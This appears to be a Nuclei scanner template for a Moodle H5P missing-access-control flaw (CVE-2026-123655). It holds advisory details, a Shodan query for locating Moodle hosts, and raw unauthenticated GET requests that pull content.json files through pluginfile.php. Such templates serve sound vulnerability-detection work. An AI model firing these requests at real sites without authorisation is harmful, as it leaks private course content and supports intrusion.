Moodle before 5.2.4, 5.1.8, 5.0.11 and 4.5.15 contains a missing access control (CWE-862) in the H5P subsystem. H5P content files are stored in the system context and served through pluginfile.php without any authorization check, allowing a remote unauthenticated attacker to read H5P content.json files belonging to the site.
id: CVE-2026-123655
info:
name: Moodle < 5.1.8 - Unauthenticated H5P Content File Disclosure
author: maulanawirawan
severity: high
description: |
Moodle before 5.2.4, 5.1.8, 5.0.11 and 4.5.15 contains a missing access control (CWE-862) in the H5P subsystem. H5P content files are stored in the system context and served through pluginfile.php without any authorization check, allowing a remote unauthenticated attacker to read H5P content.json files belonging to the site.
impact: |
Unauthenticated attackers can access and view protected content, leading to unauthorized information disclosure.
remediation: |
Update to the latest version of Moodle.
reference:
- https://moodle.org/security/advisory
- https://nvd.nist.gov/vuln/detail/CVE-2026-123655
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-123655
epss-score: 0.01982
epss-percentile: 0.81236
cwe-id: CWE-862
metadata:
verified: true
max-request: 4
shodan-query: http.component:"Moodle"
tags: cve,cve2026,moodle,unauth,disclosure,lfi
flow: http(1) && http(2)
http:
- raw:
- |
GET /pluginfile.php/1/core_h5p/content/99999/content.json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: status
status:
- 404
internal: true
- raw:
- |
GET /pluginfile.php/1/core_h5p/content/1/content.json HTTP/1.1
Host: {{Hostname}}
- |
GET /pluginfile.php/1/core_h5p/content/2/content.json HTTP/1.1
Host: {{Hostname}}
- |
GET /pluginfile.php/1/core_h5p/content/3/content.json HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- '^\s*[\[{]'
- type: word
part: header
words:
- 'application/json'
- 'filename="content.json"'
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502201b9ea93894f483c98eb027f27a0a48ff639f4f79c9065cdf52d2326073d3ce26022100e7952bd9301600c19d0b45fdc402d6b7017294ecd09e6f692afa2bfbcd937789:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.